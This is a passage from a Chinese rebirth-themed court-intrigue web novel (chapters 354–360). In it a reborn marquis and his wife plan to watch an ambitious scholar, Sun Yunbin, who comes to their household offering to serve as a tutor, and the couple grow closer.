华靖离现在能说能笑、娶妻纳妾,还跟人在公堂上辩驳,能为了自己的庶弟跟李玦割袍断义……这才有了人情味儿了。 第354章见一见也好 同时也让谢维这样的人认为他们能抓住华靖离的把柄了,最后能不能抓住不一定,可只要有这种可能,那就值得尝试和期待,而对于华靖离来说也就有了回旋的余地。 华靖离感慨地叹道:“希望这一世能处得好些,将来只要他别为难咱们,我就好好地把华家军交到他手中。他跟青青的事儿,至少眼下看不出端倪。” “青青性子软,要是让她还到那个位子上待着,别说她过不好了,府里上下都得过得担惊受怕的。看你们方才有说有笑的,她有没有跟你说她的想法?” 夏明嫣把华青青的话大概说了一下:“她说她不想,只想找个性情温和的,最好是书生。要是有这样的人选,就先帮她留意着吧。” “你是不知道,刚才殿下要给她机会做公主伴读的时候,我的心都要提到嗓子眼儿里去了,就怕他们两个再来一段藕断丝连的经历。” “不过你说得是对的,让他们两个早点见面也好,见了,反而放心了。” 之前他们就商量过,是不是应该让这两个人避开,干脆连面都不要见,就把华青青找个合适的人嫁了。 可是他们想来想去,还是决定让华青青和谢维至少见上一见。 因为他们总结了一下他们二人重生后的经历,发现但凡是上辈子发生过的大事还是都会发生,但凡上辈子有关系的人也还是有关系,只不过这件事是如何发生的又会有怎样的结果,这几个人之间会有什么样的关系……会有变化罢了。 他们担心一味地阻拦华青青和谢维相遇,说不定会适得其反,万一这两个人这辈子的关系变得更扭曲了,还不如见一见呢。 就算这辈子华青青还得嫁给谢维,至少他们提前知道了,就能早点教会华青青如何在深宫中生存,而华靖离也可以尽可能地跟谢维打好关系,至少能让他跟华青青相敬如宾。 华靖离将烹好的茶推到夏明嫣面前:“越是避着,越不好说,现在刚好,他知道青青和咱们都对他没有那种心思,就算将来圣上还会赐婚,他也清楚不是咱们处心积虑谋划的,这就够了。” “不过既然青青已经有自己的想法了,也时候给她寻个合适的夫婿了。这一世,他们能不在一起,还是不要在一起了。” 无论是他们还是华家都没有对权力的贪念,北疆已然趋向平定,将来南疆安稳,华家便到了放手的时候。 等到那时,华家还在宫里留着一个太子妃甚至一个傀儡皇后,就没有必要了。 这辈子谢维过得痛不痛苦,轮不到他们关心,而且就算谢维过得不好,他也得到了权势,坐上了大恒最高贵的位置,他的痛苦和付出都是值得的。 而华青青呢,就算做了那个位置,她的生杀荣辱都在另一个男人的一念之间,她自己既没有这样的意愿,也没有那般能耐,那又何苦为之痛苦一生呢? 二人正想着,葱白在门口探头探脑的,显然有事情要禀报。 华靖离瞧见了,就招呼他进来:“又出什么事儿了?别探头探脑的,有话就说,该不会是端侯府那边又来人了吧?” 这几日随着“华靖离割袍断义”越传越广,李玦那边也开始试图弥补,他知道华靖离是个说一不二的人,既然这义兄弟的关系已经作罢了,就不可能在恢复如初。 可是这不影响他对外界营造这段关系还有可能挽回的假象,再或是让外面的人以为他们虽然不再是结义兄弟了但关系也还是可以的,也成。 之后李玦还指望去军中历练了,别管是去北疆还是南疆,也别管去的是不是华家的势力范围,但凡是军中都不会不考虑这件事造成的影响。 这也不光是看他跟华家的关系好不好,而是华靖离的人品太过硬了,这些人现在八成都觉得除了吕家和华靖和的事,他一定还做了什么不可饶恕的事,不然华靖离不至于跟他到了割袍断义的地步。 毕竟两家都在元京,抬头不见低头见的,就算要断了结拜关系,只要不是太过分的事儿,完全可以私下里断了,将来不再提起、少往来就是了,能闹到公堂上,还让张礼岁那个刺头主持公道,这背后还不知道有多大的事儿呢。 李玦但凡还想去军中历练,还不会受到太大的排挤,就得把这事儿平了,至少是在表面上平了。 因此这些天李玦动不动就亲自带着礼物上门告罪,每每被华家的门房挡了回来,都依然百折不挠。 华靖离一看是这个时辰,就以为李玦又来了,他也想看看李玦会不会玩出什么新花样。 葱白却摇了摇头,只是他的神情更加怪异了,好像牙疼的同时还肚子疼似的: “是夫人说过的那个人出现了,就是那个夫人对乔姑娘身边的人说的那个见到就要打出去的!” 夏明嫣愣了一下,眼睛都瞪圆了:“孙允斌出现了?在哪儿呢?乔家在吕家的人应该已经撤了吧,你在哪儿看见他的?” 孙允斌就是那个边城来的外戚旁支之后,上辈子投靠了李玦,在仕途不顺的情况下不知怎么的对了乔大将军的眼了,乔依心在道观散心小住时也与他一见钟情,便娶了乔依心。 之后他跟李玦沆瀣一气,先投靠了东宫成为谢维的舍人,之后一步步向上,甚至取代了楚霆孝的右相之位,他可也是后期促成了楚家衰败的重要原因之一。 而就是这样的一个人,在功成名就之前就抛弃了原配妻子乔依心,不仅跟夏明月有过私情,还将乔依心送进了疯人谷,导致其惨死。 夏明嫣重生之后就不停地提醒乔依心要远离孙允斌这种道貌岸然、虚伪至极的读书人,后来在吕大姑娘那件事儿上,纵使乔依心还不认识孙允斌,她也对孙允斌、李玦之类的人深恶痛绝了。 按理说就算他们这辈子又遇上了,乔依心也不会重蹈覆辙了才对,可凡事总有个万一啊。 第355章孙允斌出现了 前几天乔依心带了乔家的人护卫着吕冠瑛和吕家,这几天那孩子被端侯府接回去了,吕冠瑛也露过脸了,现在元京好多人的目光都在吕家身上,她暂时是不会有危险了。 按理说乔依心应该带着人撤了才对,可是难保她最近跟吕冠瑛走得近了些,这几天还会去吕家探望,难道是在那儿遇上的? 算算时间,孙允斌是该出现了,而且还比上一世出现得晚了呢。 葱白摇头道:“不是吕家,是咱们侯府,就在门口呢。这几天咱们府上不是说要帮二公子和青姑娘找文墨师父么?这孙允斌是来自荐的。” “他说他有秀才功名,无论是画作还是文墨,他都能教。而且他是先太后老家那边的远宗,有当地城府的保荐文书,那文书上写了他人品可靠。” “本来是应该先记下来,等多几个人来,凑在一块儿再给侯爷和夫人过目。可是这个人……小的之前不小心听到夫人跟乔姑娘提起过,见到这个人就要打出去。” “现在这个孙允斌就在门口站着,是不是要把他打出去?是的话,小的这就去办!” 夏明嫣进门之后,华靖离就事事顺遂,不仅那么重的伤都好了,现在还和东宫缓和了关系。 还有邓澜,这位贵妾虽然进门以后都没跟华靖离在一个屋檐底下待过,可是以这位的品貌、才干,夏明嫣敢纳这样的女子进门,可见心胸宽广。 还有那云翠居就更别说了,夏明嫣安置那些退军家眷,也是安了他们这些人的心啊。他们想到万一哪一天自己遭遇不测,也有人照料他们的家人,他们就更安心了。 华家是将门世家,就连底下的人都喜欢主母是这种有闯劲儿又有仁慈之心的人,现在都恨不得立刻就为夏明嫣卖力呢。 夏明嫣跟华靖离对视了一眼,二人都在对方的眼中看到一丝惊异之色。 华靖离手心向下摆了摆:“先给他找家相熟的客栈住下,看好他,看看他会跟谁走动。不管是谁,全都记下来,哪怕只是一个跑堂的、一个小厮。” “若是有其他想做这文墨师父的,也一样安顿,不要让他看出异样。要是他问起来,就说我和夫人还要再选一选。行了,你先去吧。” 夏明嫣点了头之后,葱白才退下,他非但没有沮丧的样子,反而更加跃跃欲试,走路都抖了起来。 “看看,现在连葱白都帮着你了,谁都知道你这儿的差事好,还有意思。” 华靖离不是在开玩笑,他真是这么觉得的,跟着他是建功立业,跟着夏明嫣是立竿见影,整个过程还更有趣。 夏明嫣最近也乐得跟他斗嘴皮子,一点儿不客气地道:“那是,咱们侯爷做事一板一眼的,大伙儿一路跟着你也累了,在我这儿略微松散一些,也能有点意趣。” 她神色一正,“这孙允斌怎么找到这儿来了?难不成上辈子他跟乔家姐姐是凑巧了?按理说在这种大事儿上,该有些重合才对。” 就好比,邓澜这辈子没嫁给李玦,但她也曾经跟李玦有过婚约。 何夫人这辈子没能把吕家那孩子藏上十几年,但她也的确曾经将孩子藏进了一心观。 还有,乔依心虽然没去道观小住散心,可是她是动过这门心思的,是被劝说之后才没有…… 这样的例子不胜枚举,总之就是这辈子的事儿可以跟前世不一样,但都是多少有些关系的。 以乔依心的性子,她要是见过孙允斌,哪怕只是见过而已,因为之前的提醒,她也至少会派个人来知会一声的。 现在乔依心什么都没说,就说明孙允斌跟她还没有交集,这孙允斌怎么就突然来钩翊侯府了? 华靖离沉思着道:“这就要先想想他的目的究竟是什么了,我们看到的相似和差异,或许只是表象,不是根本。” “从本质上想想,孙允斌这个人出身外戚远宗,他小的时候,先太后还在,家族尚有荣光在。从他日后的成就来看,别管如何善于钻营,本事还是不错的。” “如果先太后还在,或是他们宗族的女子再在宫里得了势,尽管他只是远宗,可是只要嫡支肯分给他一杯羹,凭借着他的本事,也是能有所成就的。” “可是没想到,不仅先太后仙逝了,就是先太后的侄女也止步在了贵妃的位子上,还被打入了冷宫。这外戚远宗的身份非但没有给他的前途带来好处,反而成了他的阻碍。” 本来就是远宗,嫡支分给他点雨露,他都得诚惶诚恐地接着,后来嫡支都不行了,就连贵妃都犯了错被打入冷宫了,就更没人敢搭理他了。 这孙允斌是个干才,就是在科举功名上不太行,刚开始只有个秀才功名,后来勉强成了举人,功名上就再无进益了,可是这个人很能成事儿。 不要管他是用了什么手段成功的,他的确成为了一代权相,与李玦分庭抗礼,把持朝政,架空了登基为帝的谢维。 而且按理说他跟李玦虽然是勾结在一起上位的,可当他们得到了权势之后,按理说就算没有将对方除之后快的心,也不可能太和睦的,可是这个孙允斌硬生生地成了李玦背后的谋士。 尤其是后期,李玦沉溺在跟夏明月破镜重圆的喜悦和成就感中之后,孙允斌实际上连李玦也控制住了,这个人的能力不容小觑。 这样的一个人,成也容易,败也容易。 武人若想入仕,哪怕只是平头百姓,只要有武艺、肯拼命再有懂谋略的潜质,只要入了军中,哪怕从一个小卒做起,也是有出人头地的机会的。 可是文臣就不一样了,要是功名未及进士,后面想要身居高位,几乎没有可能。 孙允斌这样的人,他再有能耐,要是没有人给他机会,没有给他一个施展才能的大台子,他再有本事都不可能成事。 他原先便认清了这一点,才想着借着孙家嫡支的帮扶先谋一个官职,先有了施展才能的“大台子”,等都做出了成绩,凭功绩往上升一升。 第356章到她身边好了 虽说孙允斌没有功名,可他那时倒也没想着能有后来的权位,大概做到五品官,要是有幸能官居四品,就是他的目标了。 可谁知道,他年纪到了可以去元京求学的年纪,先太后就仙逝了。 紧接着到了他取得秀才功名之后,他的父母也过世了,他变卖了祖产,打算到元京捐官,哪怕先从九品小官做起,却不想他的远房姑姑孙贵妃获罪被打入了冷宫。 这下可就坏了,原先他活得憋屈,是得求着别人给他机会,后来他活得憋屈,是因为他即使想要卑躬屈膝地去求人,人家也不敢接他抛出来的好处了。 上一世就是在这种情况下,孙允斌跟袭爵有望的李玦暗中勾结在一起的。 后来李玦抓住了谢维不满华靖离却想要扶植他的心理,才想法子将孙允斌引荐给谢维,做了东宫舍人。 夏明嫣想明白了一些:“上辈子孙允斌找上乔家姐姐的前提是他看重了乔家的势力,找上李玦很可能是发现了他暗地里取出了那些宝物,正在筹建李家军,说到底都是因利而聚。” “而刚刚好乔伯父只有乔家姐姐这一个女儿,乔姐姐执意要嫁给他。而李玦那边,他那时已到军中历练,想要亲近新君,同时想要扶持自己人,他就不能用楚、夏两家的人,要扶植最好还是一个不起眼儿的人。” “这样孙允斌有意向上钻营,他们又各有所需,这才成了。要是放在现在的话,也得看他想要什么,还有咱们有什么是他需要的……” 这一世,孙允斌前面的际遇应该没有什么变化,他现在想要依然是向上的仕途,他也依旧没有功名,他需要的是一个眼下地位较低却有前景的实职。 就像上一世的东宫舍人就是这样一个位子,官衔不高,却是在未来新君身侧,只要他做得好,得了谢维的心,将来谢维继位定会给他安排一个很好的位子。 李玦那时已经袭爵,还在背地里重建李家军,想来已经与谢维一拍即合。 谢维在背地里扶植李玦,而李玦则帮助谢维在南边罗织人手,帮他聚敛财物,二人相辅相成,李玦这才有了向谢维举荐人才的机会。 而这一世,李玦的名声毁了,爵位也还没到他头上,他的母亲更是落了罪,就算不被流放,也得关入女寺思过,谢维别说扶植他了,就连想跟他交好的冲动都没有了。 显然这一世李玦自己都没有这样的机会了,又哪里能给孙允斌这样的机会,那么孙允斌就定然要在别人身上找这样的机会。 难道是他看现在谢维开始跟华靖离交好,这才找到了华青青头上? 夏明嫣愣了一下:“这也是巧了,青妹妹今天才跟我说她想嫁一个性子温和的书生,这才回来说会儿话的工夫,这么一个书生就上门了,这也太巧了。” “如果不是真的无巧不成书,那要么就是有人听到了我们的话,要么就是青妹妹在别的地方说过,被人听了去,或是被身边的人透露了出去,被外头的人听到了。” “我现在想知道的是,孙允斌是自己找上来的,还是他又跟李玦暗地里勾结在一起了,是李玦给他通风报信,他才来的。” 华靖离跟谢维的确交往的不错,可是除了今日是在外头露了行迹的,之前都是在宫里。 而且谢维是储君,除了那几个跟他实在不和的,他对别人都很谦和有礼、笑脸相迎,至少表面上是这样,所以一般人从他几个笑脸和给出来的赏赐上是不敢料定他就真的跟谁亲近的。 孙允斌要是冲着华靖离跟谢维的关系来的,他定是对这种关系十拿九稳了才可能下这样的赌注,否则他投错了庙门,想再回头,耽误的可是他自己的前程。 能通风报信的很可能还是端侯府,那边刚出了事儿,李玦又想着法儿的想堵住华靖离,想让华靖离跟他在人前上演一出冰释前嫌,对华靖离的情况应该是外人里最了解的。 还有华青青这边,不管是她对夏明嫣说起自己的心事,还是在外头跟自己身边的侍女说起被人听了去,这种事都太偶然了。 毕竟以华青青这样的性子,想等到她说这样一句话,那得等多久,除非有人一直跟着她。可华青青出去的时候不多,想找到这样的机会还是太难了。 最大的可能还是华青青在府里也说过这样的话,被人身边人听了去,然后透露给了李玦或孙允斌。 华靖离也道:“八成是府里的人透露出去的,还是得把府里的这个人捉出来,否则迟早是个隐患。青青不比乔姑娘,乔姑娘当年是因为乔大人续弦突然,一时想不开才去了女观小住。” “也是在她最脆弱的时候,遇上了孙允斌,之后她之所以会被关入疯人谷,就是因为她看透真相之后恢复了理智。可青青不一样,她性子一直都弱,浑身上下都是机会,要是让她遇上孙允斌,想不上钩都难。” “你就算去提醒青青,她也很难做到。干脆不要让孙允斌做青青的文墨师父了,还是我跟靖和说一说吧,让孙允斌去他那儿,让他帮我盯着。” 夏明嫣斟酌了一下,摇了下头:“二弟是个可塑之才,可既然选择了让他做个风雅名士,就不要让他在这种事儿里搅得太深了。” “况且孙允斌究竟是个什么情况,通过二弟去了解终究隔了一层,咱们又不能把重生的事儿告诉他,一来二去的耽误工夫是小,错过了重要的讯息是大。” “我看要不这样,他是来接近你的,想通过青妹妹或是二弟,这层关系到底远了些。既然他都这么急不可耐了,咱们就满足他一下,让他来给我做个文墨师父吧。” “你?”华靖离凝眸看她,他记得,那孙允斌样貌很是不错。 能跟李玦走到一块儿的都有一个特点,就是这样貌、行事仪态都是上乘的,让这么个人待在夏明嫣身边,他得多大度啊。 第357章圆房了 夏明嫣一开始没明白华靖离怎么就突然变得阴阳怪气了,看他神情,琢磨了一瞬才明白: “想什么呢,要是我是夏明月那等看脸过日子的人,我上辈子就不能由着他跟夏明月在一起,这辈子也不会答应换亲。” “你应该这样想,我在李玦那样的人身边十几年都没被他那张脸收买,区区一个孙允斌算什么,我倒要看看是谁设套,谁入局。” 华靖离被气笑了了,等听明白她话里的意思,愣了一下:“上辈子你知道他跟夏明月在一起了?” “一开始不知道,后来知道了。我在端侯府担惊受怕了十几年,早就累了、倦了,要是他们在一起,我和离求去,后半辈子也什么都不缺了。” 夏明嫣多看了华靖离一眼,“我只是没想到,他们两个那么爱风光、要面子的人,竟然宁愿无媒苟合,也不愿意休弃我这个扶正的王妃,最后还给我下慢毒,这还不够,还用一条白绫结果了我。” “所以啊,这辈子出嫁前我就想,我要嫁的人,无论是否心仪我,都得是品行过硬、本性温和、讲道理的人。这样的人就算心里没有我,将来也不会要了我的命去。” “我是个讲道理的人,凡事好商量……华靖离,你可不要让我失望。” 夏明嫣第一次在华靖离面前连名带姓的叫他,华靖离一下子就明白了刚刚她所说的那些在她心里有多重要。 可夏明嫣是个脸皮薄的,至少在面对华靖离时她是这样的人,她说完转身就走,就像后头有老虎追着似的。 华靖离伸手就拉住了她的手臂,他顺势一带,就从身后拥住了她,他的下巴抵着她的肩窝,声音里带着郑重和暖意道: “我不讲道理,也不好商量,除非我死,你休想离开我。但如果我没能扭转命运,还是栽在了他们手里,你一定要走。答应我,好不好?” 他的气息霸道而带着一股暖意包裹而来,他怀里的人想要挣脱都不行,反而渐渐融化在了他的霸道里,不想挣脱。 夏明嫣觉得自己特别没有出息,怎么就对他这么放心了?她竟然不想挣脱,甚至不想怀疑了。 想到从前那些无望地岁月,再想想现在,直觉得自己是掉到福窝里了。 她要的从来都不是一帆风顺,能像现在这样有商有量,跟身边的人携手一步步地谋划,即便将来未知,可这种脚踏实地、与人携手的感觉简直太好了。 想到前世的种种,她忽然就释然了,不光想来如何,珍惜眼前人,享受当下,才是她应该做的。 她不觉就笑了,竟然没有像往日那般掰开他的手,她暗暗吸了口气,做了一个决定: “华靖离,我们就这么过吧……无论将来怎样,做一世的夫妻。这一世的每一天,我们都拼尽全力地好好过,不是为了给那些曾经对不起我们的人看,就为了我们自己而活,好不好?” “好,明嫣,我的明嫣……”华靖离的呼吸加重,渐渐变得低沉。 此时已入了夜,屋里只有他们两个人,他们紧紧地抱在一起,四周的气氛似乎变得灼热起来。 二人都觉得有些赧然,可是谁也不想先放手,过来催他们用饭的秋果、葱白见状都默默地退了出去。 华靖离抱起夏明嫣向榻边走去,一把挥落了帷帐:“既然要珍惜以后每一日,今宵也不能浪费了。嫣儿今日劳累了,就让为夫为你宽衣解带。” “等等……夫君,你的……身子可好了?” 夏明嫣身为治好华靖离的头号功臣,自然最清楚华靖离的身子已经无碍,她这么问只是……不是她不愿意,只是……羞涩得紧。 她上一世是做过人妻的,按理说不该有太多这种感觉,可是跟华靖离在一起是不一样的。 她现在就是感觉他们这样是不是还是快了点,他们应该再准备准备?他们这样是不是太不正式了,应该准备一下才好…… 那些小揪揪在心里直打转,夏明嫣没有说出来,但她闪烁的眼神已经替她的嘴把这些话说了出来。 华靖离笑了一下,看着她雪白如羊脂的肩头:“我的身子好没好,嫣儿是最清楚的。哦,或许你忘了,那就再检查一下,亲手检查……” 一夜旖旎,次日夏明嫣醒来时已经日上三竿,得知华靖离没有惊动她就进宫去了,大概是去说北疆军务交接的事的。 从前的华靖离不愿意将华家军从北疆撤出,一直拖到五年后南疆事发,才将华家军和华家族人开始往南边迁移。 此举招来了圣上的疑心和谢维的忌惮,也直接为他和华家军的命运埋下了危机。 其实他并不是舍不得华家在北疆打下的根基,只是认为北疆虽然大体平定却还有一些变数,很多事还是由原本就在那里扎根了两代人的华家来做比较稳妥。 如今想想,他没有必要太过求全责备,任何事情都有风险和发生变故的可能,他不可能全都管好了。何况就算上一世华家军在北疆停留更久,有很多事儿也还是发生了。 他这一世头一个要学的就是放手,虽然不能说垂衣拱手以治天下,可也应该将一些事情交给可以信任的人,让他们学着去熟悉、去掌管。 他并不是弃百姓而不顾,而是所有的人都得习惯,没了一个特定的人,局势依然要维持下去,日子也得照样过。 单靠他和华家军,哪天他们出了变故,北疆又该如何呢?现在是到了人马和权利更替的时候了,刚开始对所有人来说都有些艰难,可只要安排得当,又是提前筹谋,相信很多问题都是可以克服的。 而将人手抽回之后,就可以请示宫里然后暗中着手在南疆布局,那才是大恒和华家将来要面对的危局之地。 华靖离进宫就是去商量这件事的,这件事如此安排也还有另一个原因,就是他还是要把李玦安排到北疆去的。 第358章毛遂自荐 安排李玦去北疆,不是他们以德报怨,而是这样更能转移端侯府和另外三家的注意力。 李玦就是这一世的人,夏明月虽然重生了,可显然她没有对任何人坦露这一点,也就是说李玦并没有现在和过去是否一致的意识,而夏明月现在最不想看到的就是李玦的命运与上一世相悖。 小事的变化并不紧要,可大事上的偏离,一定会引起夏明月的警觉。 这一世李玦的命运已经开始发生转变了,就拿袭爵来说,虽说圣上要找到那些宝物和当年的真相,势必要跟端侯府周旋下去,这爵位是早晚要给的。可眼下因为吕家的事已经传到了宫里,这爵位要给也必然是推迟了。 好在这推迟袭爵的原因至少表面上看是落在何夫人身上的,暂时怀疑不到华靖离和夏明嫣身上,只是之后要是再有大的变动,夏明月就又该怀疑了。 因此李玦身上发生的下一件大事最好如期而至,也就是说上一世接下来他该去北疆历练了,这一世就算还没有袭爵,也还得先去北疆。 这样以来,夏明月才会以为命运依旧在她已经掌握了的轨迹上继续,因此华靖离这次进宫定要说服圣上让他同意李玦依旧去北疆历练,并且在他归来之时,让他袭爵。 这样不仅麻痹了夏明月,还能让李玦在北疆再耽误几年,等他能把精力移回南疆的时候,华靖离在南疆已经部署得差不多了。 在上一世最后的那几年,大恒百姓之所以度日艰难,还有一个原因南疆之乱和连年的灾害都聚在了一起。 他们要是能将南疆之乱提早五年解决,哪怕是提早三年,后面谢维和大恒的百姓应对起那些年的灾祸都不会那般捉襟见肘、步履维艰。 夏明嫣明白了华靖离的部署,她自己也要去完成她的部署了,于是,她把秋果叫了来: “秋果,你去问问门房,昨日来应征文墨师父的那位孙公子被安置在哪儿了,你去,把他请进府来。” 秋果初时不疑有他,只是回想着昨日见到的那人,当时是葱白去安顿的人,为了不打扰夏明嫣和华靖离,她就跟着葱白去看了看,不想刚好看到了那个孙允斌。 那人也生了一副好皮囊,虽然风采不及李玦和华靖和,却没来由地给人一种看不透的感觉。 那种感觉就好像面前有一块儿形色中等的石头,可偏偏这块儿时候总会在不经意时发出几丝异样光彩,但也就是在转瞬间,这种光彩又消失不见了。 秋果说不出那种感觉究竟是什么,只觉得此人是有些心计的,后来跟葱白闲聊起来,得知了这个孙允斌的出身,不禁更加抵触: “夫人,你是打算让他给二公子和青姑娘做文墨师父?这……二公子那儿也就罢了,他就算教不好二公子,也顶多就是给二公子多找了一个玩伴。” “可要是让他到了青姑娘面前,奴婢觉得……不成,青姑娘年纪小,从前又不常在各家之间走动,见过的人不多,尤其是外男。奴婢是怕……” “你担心这个孙允斌对青妹妹有别的心思,甚至引诱了她?说说,你为何会有这样的感觉?”夏明嫣有些好奇。 别看秋果平时大大咧咧的,可她看人很准,上一世也是她先看清了画扇的为人。 秋果露出为难的神色,嘴角向下耷拉着道:“奴婢不懂那些大道理,但有句话叫‘龙生龙,凤生凤,老鼠的孩子会打洞’,这话是有些道理的。” “这个孙秀才出身后族旁支,也就是先太后娘娘的远亲。先太后虽说是极好的,可是她仙逝之后,她这一族之所以被清算,就是因为这些个族人在外头行事不端,仗着自己是外戚就作威作福、鱼肉乡里。” “这孙秀才倒是不曾做恶,可听说他来元京是来捐官的,并不曾想继续科考,等有了更高的功名之后再以功名入仕,他这就是投机取巧。” “结果他想请托捐官的人不敢理会他,他非但不知收敛,还跑到咱们侯府来了。来就来吧,知道是给姑娘做文墨师父的,自己又年轻,还不说穿得老成持重些,一袭白衣,跟什么似的,分明就是没安好心。” 这还真是话糙理不糙,难怪外头的人都说宁娶大家婢,不娶小家女,秋果这见识和看人的眼力的确不错。 孙允斌比华靖离还小两岁,现在差不多二十三岁,这个年纪就出来当私塾先生是不大受待见的。 这个年纪的秀才公,要是不打算再让功名更进一步了,要么便是回家经营家业,要么去做师爷、幕僚,这二者做不了的,一般就会去朝廷的公学教书。 这公学好地方的都不要想了,那是给功名更高且更年长、经验更丰富的人准备的,像他们这些年轻的秀才都得去下面地方上的公学。 而这些高门大户自家办的族学和私塾先生,除非这年轻秀才本身就是他们的亲族,否则因为经验不足,都是不会轻易考虑的。 孙允斌敢毛遂自荐,要是他要靠的是真才实学,自然会将自己打扮得老成些,毕竟有些人年纪不大可说话、想问题都老气横秋的,比那些比他们年长的还要成熟,这也是能弥补几分年纪和经验带来的缺憾的。 可孙允斌偏偏在装束上突出了自己的风流倜傥,而他要教授的主家却是一位还未及笄的姑娘家,这当真合适么? 此人定是清楚,华靖离和夏明嫣是能为这件事做主的人,他们最近对华青青很是疼爱。 华青青已经到了及笄的年纪了,要说她真想学多少学问,尤其是趁着还没定亲、出嫁这段在娘家的这段日子,那是不可能的。 现在华家为华青青请文墨先生,不过是想在这段日子教她些与男子有关的礼教规矩、风俗习惯,以便她日后出嫁之后不至于跟自己的丈夫无话可说,要是夫家有什么话需要她来传递,她也不至于连表词达意都做不到。 第359章这是要招面首? 如此这般,其实华青青的这个文墨师父最大的作用就是陪她解闷儿,顺道给她深入浅出地讲解一些文墨上的东西,让她不至于嫁人之后在丈夫和公公和叔伯间一点都说不上话罢了。 这样一个文墨师父,其实对学识的要求并不会太高,能懂得基本的诗书礼仪和外头男子的行事做派就好,最关键的是这人华青青能接受,愿意听他说话、讲解。 孙允斌就是看准了这一点,才将自己装扮成那副样子了。 华青青没正经延过学,华家没请过好的女师,这样的女子许多都不爱听那些咬文嚼字的东西,一见到教文墨的老师父就心生抵触。 要是他把自己打扮得老成持重了,就怕虽然得了华靖离和夏明嫣的认同,可华青青却不愿意用他。 他还揣摩了华靖离和夏明嫣的心思,华青青毕竟是华靖离的庶妹,从小也没长在一块儿,想来兄妹感情也没多深,这种情况下他们对华青青的好最多三分是真的,其余七分都是做给别人看的。 既然是做样子的,那首要的就是让华青青高兴,要是他们“忠言逆耳”,弄得华青青不高兴了,这事儿反而不美。 因此,他便打定了主意,只讨华青青的欢心,只要华青青坚持要用他,他又没有什么大的不足,想来华靖离和夏明嫣都不会反对,甚至乐得做这个人情。 而华青青呢,一个没有见过世面更是没有见过几个外男的庶女哪里能抵抗得了一个谦谦公子,谁知道家里让她嫁的是什么样的人。 就算华青青将来的夫君不错,也断断不能像他这般对她百依百顺、做小伏低,她看到他这样的人,就算想要在成婚前得到一些温暖,也会选择他的。 孙允斌就是一个这般会钻营的人,夏明嫣笑了笑,意味深长地看向秋果,那语气就跟哪位公主、郡主要收面首似的: “你看人还是很准的……既然这位孙公子不适合青妹妹,他又是远道而来,总不好白费了他这番良苦用心。不如还是见见吧,我最近眼睛疼,正缺一个替我读新、念账本儿的,就让他来试试吧。” “啊?夫人你眼睛疼啊,自己治不好吗?那要不要请齐大娘子过来看看?” 秋果没反应过来,等她问完才留意到夏明嫣眼中的戏谑之色,“夫人,府里还有几个识文断字的侍女,要是他们的学问还不够,还有几个小厮,是跟在二公子身边读过书的。” “让他们来服侍就好了,你叫这个孙公子来,是不是不太合适?万一让侯爷知道了,会不会多想?” 孙允斌这样的人试图依靠色相引诱高门贵女,秋果觉得她能看得出来,夏明嫣也认同,没道理华靖离看不出来。 要是让这样的人到身边服侍,不就成了故意为之了?华靖离能愿意么? 夏明嫣摆了下手,无所谓地道:“没事儿,让他来,他不就是想通过青妹妹进入华家么?既然他是冲着侯爷来的,就让他到我身边来,岂不是更方便?” 引君入瓮么? 秋果犹犹豫豫地点头,语气上还是很迟疑:“就算是为了这个,侯爷也不会说什么,可府里这么多人看着,人多口杂的,大家都会说闲话吧。” “要不去外头的宅子?那儿人少,或许他觉得孤男寡女的更有机可乘呢?这样也能瞒住府里的人……” “不必……侯爷都纳妾了,我找个文墨先生又怎么了?” 夏明嫣懒懒地打了个哈欠,“我行的正、坐的直,怕什么?既然不怕他们说闲话,就让他们看着。到外头去算怎么回事儿?好像我真跟他有什么似的。” “他既然想往侯府里钻,不给他机会怎么行?就得把老鼠放进米缸里,看他往哪儿钻,才方便咱们知道该往哪儿堵。” 秋果算是听明白了,却更加担心了,这些谋算就算成了,也不能保证府里这些人不说闲话。 不管心里怎么想的,秋果还是照办了,半个时辰之后,孙允斌到底被请进了钩翊侯府。 这是孙允斌第二次进侯府,之前他去过一次端侯府,是从后角门偷着进去的,光是那一次就让他感慨万千,更别提进了钩翊侯府了。 这种感觉很微妙也很酸涩,他出身外戚旁支,严格来说一直以来都是见过富贵,却只是表面风光,实际上过的都只是寻常富户的日子。 孙氏一族原是小官家和商贾之家的结合,先太后入宫时位分仅仅为美人,并不是高位嫔妃,是后来生下了先帝的长子才一步步晋位贵妃,因为后位虚空,在先帝驾崩之后,才成为太后的。 现在这位陛下登基之后为了防止外戚势力扩张,极力压制外戚,对他的母族并没有给予多少优待,不过给了孙家嫡支一些富贵日子罢了。 孙允斌一家作为旁支,嫡支每年祭祖和受赏的时候他们都会被邀请去一起观礼,他们也能得些好处,但更多的只是目睹了嫡支的富贵,再在外人面前多几分脸面罢了。 换句话说,孙允斌所在的这一支只是闻到了皇亲国戚和富贵的味道,对外的时候别人客气些也说他们是皇亲国戚,但到了实际的地方,他们却得不到实在的好处。 而为了维持这样的体面,他们反而在日常吃穿用度和应酬上多花了不少银两,有些事儿本来是要求着人办的,也不好弯腰了。 甚至有些人心底里就不想帮他们或不想跟他们来往,也会推说他们是皇亲国戚,哪里能看得上这些小门小户,是自己高攀不起…… 孙允斌在过了年少时的虚荣时光之后就意识到了这一点,这外戚的身份,没让他享受到真正外戚的好处,却让他背负了虚名并且额外承担了不该他承担的东西。 就好比他自小就被要求考取功名,他日出入朝堂,不负孙氏公子之名。 可是他这一个小小的旁支,到了求学科考的年纪,既没有足够的天赋,也没有靠得住的人脉延请名师,让他如何出头? 第360章男子的内宅毒计 这时候他的父母又相继离世,为了外戚的体面,光是办丧事又花了一大笔银子,以至于落到孙允斌手里的家产只剩下了原定的三分之一。 再在老家待下去,他剩下的家财也得全搭在撑颜面上,他一咬牙,便变卖家资来了元京,想以自己的秀才功名和这笔银钱还有那点外戚后族的余热给自己捐一个官。 哪怕只捐一个九品的末流小官也成,再不成能进一家有些前景的书院,能让她积攒些人脉也行。 谁知道饶是他早就对这过了季的外戚旁支的名头有了准备,还是被惊到了,因为人家说了,她要不是这外戚旁支,反而能给他安排。现在,是真的不方便安排了…… 他没有法子,眼看着带来的银钱只能在元京购置一座院子,可他的营生和前程却全无着落。 他不愿意死心,想要再上下打点一番,可他心里也清楚,真正的贵胄权臣就算他十斤浑身解数也是巴结不上的,他能指望得上而对方又有一定人脉还能帮得上他的,或许只剩下那些落魄贵族了。 他就是这样找上了李玦,彼时李玦还没有被吕家的事缠上,正是一副娶了尚书千金、袭爵之事近在眼前而志得意满的样子。 他深知,只要他这时愿意依附李玦,甚至雪中送炭,等到李玦袭爵之后,他才能得到好处。而且比起那些更得势的勋贵、大臣,也就是李玦这儿还有一丝机会了。 